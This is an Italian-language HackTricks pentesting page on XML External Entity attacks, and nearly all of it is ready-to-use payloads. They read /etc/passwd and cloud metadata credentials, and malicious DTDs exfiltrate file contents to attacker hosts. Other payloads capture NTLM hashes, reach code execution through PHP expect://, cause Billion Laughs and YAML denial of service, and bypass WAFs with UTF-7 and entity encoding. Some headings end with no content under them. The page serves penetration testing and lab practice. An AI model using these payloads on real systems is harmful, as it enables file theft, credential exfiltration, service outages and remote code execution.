hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

38 KiB

XXE - XEE - Entità Esterna XML

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

{% embed url="https://websec.nl/" %}

Concetti di base XML

XML è un linguaggio di markup progettato per lo storage e il trasporto dei dati, caratterizzato da una struttura flessibile che consente l'uso di tag denominati in modo descrittivo. Si differenzia dall'HTML per non essere limitato a un insieme di tag predefiniti. La significatività dell'XML è diminuita con la diffusione del JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.

  • Rappresentazione dei dati tramite Entità: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come &lt; e &gt;, che corrispondono a < e > per evitare conflitti con il sistema di tag XML.
  • Definizione degli Elementi XML: XML consente la definizione dei tipi di elementi, delineando come gli elementi dovrebbero essere strutturati e quale contenuto possono contenere, che va da qualsiasi tipo di contenuto a elementi figlio specifici.
  • Definizione del Tipo di Documento (DTD): Le DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interne, esterne o una combinazione, guidando la formattazione e la convalida dei documenti.
  • Entità Personalizzate ed Esterne: XML supporta la creazione di entità personalizzate all'interno di una DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni sulla sicurezza, in particolare nel contesto degli attacchi di Entità Esterna XML (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • Rilevamento XXE con Entità Parametro: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate le entità parametro XML. Queste entità consentono tecniche di rilevamento out-of-band, come attivare ricerche DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Principali attacchi

La maggior parte di questi attacchi sono stati testati utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe

Nuovo test di Entità

In questo attacco testerò se una semplice nuova dichiarazione di ENTITÀ funziona

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Leggere file

Proviamo a leggere /etc/passwd in modi diversi. Per Windows potresti provare a leggere: C:\windows\system32\drivers\etc\hosts

In questo primo caso notare che SYSTEM "**file:///**etc/passwd" funzionerà anche.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non è il caso dei laboratori di Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

In questo terzo caso notiamo che stiamo dichiarando l'Element stockCheck come ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Elenco delle directory

Nelle applicazioni basate su Java, potrebbe essere possibile elencare i contenuti di una directory tramite XXE con un payload come (chiedendo solo l'elenco della directory invece del file):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF Cieco

Utilizzando la tecnica precedentemente commentata è possibile fare in modo che il server acceda a un server da te controllato per mostrarne la vulnerabilità. Tuttavia, se ciò non funziona, potrebbe essere perché le entità XML non sono consentite, in tal caso potresti provare a utilizzare le entità di parametro XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

SSRF "cieco" - Efiltrare dati out-of-band

In questa occasione faremo caricare al server un nuovo DTD con un payload maligno che invierà il contenuto di un file tramite una richiesta HTTP (per file multi-linea potresti provare a estrarlo tramite _ftp://_ utilizzando ad esempio questo server di base xxe-ftp-server.rb). Questa spiegazione si basa sul laboratorio di Portswigger qui.

Nel DTD maligno fornito, vengono eseguiti una serie di passaggi per estrarre dati:

Esempio di DTD maligno:

La struttura è la seguente:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

I passaggi eseguiti da questo DTD includono:

  1. Definizione delle Entità Parametro:
    • Viene creato un'entità parametro XML, %file, che legge il contenuto del file /etc/hostname.
    • Un'altra entità parametro XML, %eval, viene definita. Dichiara dinamicamente una nuova entità parametro XML, %exfiltrate. L'entità %exfiltrate è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità %file nella stringa di query dell'URL.
  2. Esecuzione delle Entità:
    • Viene utilizzata l'entità %eval, portando all'esecuzione della dichiarazione dinamica dell'entità %exfiltrate.
    • L'entità %exfiltrate viene quindi utilizzata, innescando una richiesta HTTP all'URL specificato con il contenuto del file.

L'attaccante ospita questo DTD dannoso su un server sotto il loro controllo, tipicamente all'URL come http://web-attacker.com/malicious.dtd.

Payload XXE: Per sfruttare un'applicazione vulnerabile, l'attaccante invia un payload XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Questo payload definisce un'entità di parametro XML %xxe e la incorpora nel DTD. Quando elaborato da un parser XML, questo payload recupera il DTD esterno dal server dell'attaccante. Il parser interpreta quindi il DTD in linea, eseguendo i passaggi delineati nel DTD dannoso e portando all'esfiltrazione del file /etc/hostname al server dell'attaccante.

Basato su Errori (DTD Esterno)

In questo caso faremo in modo che il server carichi un DTD dannoso che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se è possibile visualizzare i messaggi di errore). Esempio da qui.

Un messaggio di errore di analisi XML, rivelante il contenuto del file /etc/passwd, può essere innescato utilizzando una maliziosa Definizione del Tipo di Documento (DTD) esterna. Ciò viene realizzato attraverso i seguenti passaggi:

  1. Viene definita un'entità di parametro XML chiamata file, che contiene il contenuto del file /etc/passwd.
  2. Viene definita un'entità di parametro XML chiamata eval, che incorpora una dichiarazione dinamica per un'altra entità di parametro XML chiamata error. Questa entità error, quando valutata, tenta di caricare un file inesistente, incorporando il contenuto dell'entità file come suo nome.
  3. Viene invocata l'entità eval, portando alla dichiarazione dinamica dell'entità error.
  4. L'invocazione dell'entità error porta al tentativo di caricare un file inesistente, producendo un messaggio di errore che include il contenuto del file /etc/passwd come parte del nome del file.

Il malizioso DTD esterno può essere invocato con il seguente XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

All'esecuzione, la risposta del server web dovrebbe includere un messaggio di errore che visualizza il contenuto del file /etc/passwd.

Si noti che il DTD esterno ci consente di includere un'entità all'interno della seconda (eval), ma è proibito nel DTD interno. Pertanto, non è possibile forzare un errore senza utilizzare un DTD esterno (di solito).

Basato sull'errore (DTD di sistema)

Quindi, cosa succede alle vulnerabilità XXE cieche quando le interazioni out-of-band sono bloccate (le connessioni esterne non sono disponibili)?.

Una falla nella specifica del linguaggio XML può esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne. Questo problema consente la ridefinizione interna delle entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati sull'errore. Tali attacchi sfruttano la ridefinizione di un'entità di parametro XML, originariamente dichiarata in un DTD esterno, all'interno di un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di analisi per rivelare informazioni sensibili.

Consideriamo uno scenario in cui il filesystem del server contiene un file DTD in /usr/local/app/schema.dtd, che definisce un'entità chiamata custom_entity. Un attaccante può indurre un errore di analisi XML rivelando il contenuto del file /etc/passwd inviando un DTD ibrido come segue:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

I passaggi delineati vengono eseguiti da questo DTD:

  • La definizione di un'entità di parametro XML chiamata local_dtd include il file DTD esterno situato sul filesystem del server.
  • Si verifica una ridefinizione per l'entità di parametro XML custom_entity, originariamente definita nel DTD esterno, per racchiudere un exploit XXE basato su errori. Questa ridefinizione è progettata per provocare un errore di parsing, esponendo i contenuti del file /etc/passwd.
  • Utilizzando l'entità local_dtd, il DTD esterno viene coinvolto, includendo la nuova entità custom_entity definita. Questa sequenza di azioni provoca l'emissione del messaggio di errore mirato dall'exploit.

Esempio del mondo reale: I sistemi che utilizzano l'ambiente desktop GNOME spesso hanno un DTD in /usr/share/yelp/dtd/docbookx.dtd che contiene un'entità chiamata ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Poiché questa tecnica utilizza un DTD interno, è necessario trovare prima un valido. Potresti fare ciò installando lo stesso OS / Software che il server sta utilizzando e cercando alcuni DTD predefiniti, oppure ottenere un elenco di DTD predefiniti all'interno dei sistemi e verificare se ne esiste uno:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Per ulteriori informazioni controlla https://portswigger.net/web-security/xxe/blind

Trovare DTD all'interno del sistema

Nel seguente repository github impressionante puoi trovare percorsi di DTD che possono essere presenti nel sistema:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Inoltre, se hai l'immagine Docker del sistema vittima, puoi utilizzare lo strumento dello stesso repository per scansionare l'immagine e trovare il percorso dei DTD presenti all'interno del sistema. Leggi il Readme del github per saperne di più.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE tramite parser di Office Open XML

Per una spiegazione più dettagliata di questo attacco, controlla la seconda sezione di questo post incredibile da Detectify.

La capacità di caricare documenti di Microsoft Office è offerta da molte applicazioni web, che procedono poi ad estrarre determinati dettagli da questi documenti. Ad esempio, un'applicazione web potrebbe consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, sarà inevitabilmente necessario analizzare almeno un file XML.

Per testare questa vulnerabilità, è necessario creare un file di Microsoft Office contenente un payload XXE. Il primo passo è creare una directory vuota in cui il documento può essere decompresso.

Una volta che il documento è stato decompresso, il file XML situato in ./unzipped/word/document.xml dovrebbe essere aperto e modificato in un editor di testo preferito (come vim). L'XML dovrebbe essere modificato per includere il payload XXE desiderato, spesso iniziando con una richiesta HTTP.

Le righe XML modificate dovrebbero essere inserite tra i due oggetti XML radice. È importante sostituire l'URL con un URL monitorabile per le richieste.

Infine, il file può essere zippato per creare il file malintenzionato poc.docx. Dalla directory "unzipped" precedentemente creata, dovrebbe essere eseguito il seguente comando:

Ora, il file creato può essere caricato nell'applicazione web potenzialmente vulnerabile, e si può sperare che una richiesta appaia nei log di Burp Collaborator.

Protocollo Jar

Il protocollo jar è accessibile esclusivamente all'interno delle applicazioni Java. È progettato per consentire l'accesso ai file all'interno di un archivio PKZIP (ad esempio, .zip, .jar, ecc.), soddisfacendo sia i file locali che remoti.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Per poter accedere ai file all'interno dei file PKZIP è molto utile abusare degli XXE tramite i file DTD di sistema. Controlla questa sezione per imparare come abusare dei file DTD di sistema. {% endhint %}

Il processo di accesso a un file all'interno di un archivio PKZIP tramite il protocollo jar coinvolge diversi passaggi:

  1. Viene effettuata una richiesta HTTP per scaricare l'archivio zip da una posizione specificata, come https://download.website.com/archive.zip.
  2. La risposta HTTP contenente l'archivio viene temporaneamente memorizzata nel sistema, tipicamente in una posizione come /tmp/....
  3. L'archivio viene quindi estratto per accedere ai suoi contenuti.
  4. Viene letto il file specifico all'interno dell'archivio, file.zip.
  5. Dopo l'operazione, eventuali file temporanei creati durante questo processo vengono eliminati.

Una tecnica interessante per interrompere questo processo al secondo passaggio coinvolge mantenere aperta indefinitamente la connessione del server durante il servizio del file di archivio. Gli strumenti disponibili in questo repository possono essere utilizzati a tale scopo, inclusi un server Python (slow_http_server.py) e un server Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} Scrivere file in una directory temporanea può aiutare a elevare un'altra vulnerabilità che coinvolge una traversata di percorsi (come inclusione di file locale, iniezione di template, XSLT RCE, serializzazione, ecc). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Attacco delle Mille Risate

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Attacco Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Attacco di sovraccarico quadratico

Ottenere NTML

Su host Windows è possibile ottenere l'hash NTML dell'utente del server web impostando un gestore responder.py:

Responder.py -I eth0 -v

e inviando la seguente richiesta

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Superfici XXE Nascoste

XInclude

Quando si integra dei dati client in documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento DOCTYPE. Tuttavia, un attacco XInclude fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.

Per eseguire un attacco XInclude, lo spazio dei nomi XInclude deve essere dichiarato e il percorso del file per l'entità esterna prevista deve essere specificato. Di seguito è riportato un esempio succinto di come un tale attacco possa essere formulato:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

SVG - Caricamento File

I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nella gestione di come vengono gestiti i file XML o contenenti XML. I formati di file comuni come i documenti di office (DOCX) e le immagini (SVG) si basano su XML.

Quando gli utenti caricano immagini, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la libreria di elaborazione immagini del server potrebbe supportare anche immagini SVG. Poiché SVG è un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).

Di seguito è mostrato un esempio di tale exploit, in cui un'immagine SVG dannosa tenta di leggere file di sistema:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Un altro metodo coinvolge il tentativo di eseguire comandi tramite il wrapper PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

In entrambi i casi, il formato SVG viene utilizzato per lanciare attacchi che sfruttano le capacità di elaborazione XML del software del server, evidenziando la necessità di una robusta convalida dell'input e misure di sicurezza.

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

Nota che la prima riga del file letto o del risultato dell'esecuzione apparirà DENTRO l'immagine creata. Quindi è necessario poter accedere all'immagine creata da SVG.

PDF - Caricamento file

Leggi il seguente post per imparare come sfruttare un XXE caricando un file PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: Da x-www-urlencoded a XML

Se una richiesta POST accetta i dati in formato XML, potresti provare a sfruttare un XXE in quella richiesta. Ad esempio, se una richiesta normale contiene quanto segue:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Quindi potresti essere in grado di inviare la seguente richiesta, ottenendo lo stesso risultato:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Da JSON a XEE

Per modificare la richiesta, potresti utilizzare un'estensione di Burp chiamata "Content Type Converter". Qui puoi trovare questo esempio:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Un altro esempio può essere trovato qui.

Bypass di Protezioni e WAF

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Questo funziona solo se il server XML accetta il protocollo data://.

UTF-7

Puoi utilizzare il ["Encode Recipe" di cyberchef qui ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) trasformare in UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocollo di bypass

Se il sito web utilizza PHP, anziché utilizzare file:/ è possibile utilizzare i wrapper php php://filter/convert.base64-encode/resource= per accedere ai file interni.

Se il sito web utilizza Java, è possibile controllare il protocollo jar.

Entità HTML

Trucco da https://github.com/Ambrotd/XXE-Notes
È possibile creare un'entità all'interno di un'altra entità codificandola con le entità html e quindi richiamarla per caricare un dtd.
Si noti che le Entità HTML utilizzate devono essere numeriche (come [in questo esempio](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Esempio DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Wrapper PHP

Base64

Estrai index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Estrarre risorsa esterna

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Esecuzione remota di codice

Se il modulo "expect" di PHP è caricato

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Questo esempio è ispirato a https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) viene utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML utilizzato principalmente per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).

Analisi della Richiesta Blind

Viene effettuata una richiesta al server con il seguente contenuto:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Tuttavia, questa richiesta attiva un errore interno del server, menzionando specificamente un problema con le dichiarazioni di markup:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Nonostante l'errore, viene registrato un hit su Burp Collaborator, indicando un certo livello di interazione con l'entità esterna.

Esfiltrazione di Dati Out of Band Per esfiltrare i dati, viene inviata una richiesta modificata:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Questo approccio rivela che l'User Agent indica l'uso di Java 1.8. Una limitazione nota di questa versione di Java è l'incapacità di recuperare file contenenti un carattere di nuova riga, come ad esempio /etc/passwd, utilizzando la tecnica Out of Band.

Esfiltrazione di Dati Basata su Errori Per superare questa limitazione, viene utilizzato un approccio basato sugli errori. Il file DTD è strutturato come segue per innescare un errore che include dati da un file di destinazione:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Il server risponde con un errore, riflettendo in modo importante il file inesistente, indicando che il server sta cercando di accedere al file specificato:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Per includere il contenuto del file nel messaggio di errore, il file DTD viene modificato:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Questa modifica porta all'esfiltrazione riuscita dei contenuti del file, come risulta dall'output di errore inviato tramite HTTP. Ciò indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.

RSS - XEE

XML valido con formato RSS per sfruttare una vulnerabilità XXE.

Ping back

Richiesta HTTP semplice al server degli attaccanti

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggere file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggere il codice sorgente

Utilizzando il filtro base64 di PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

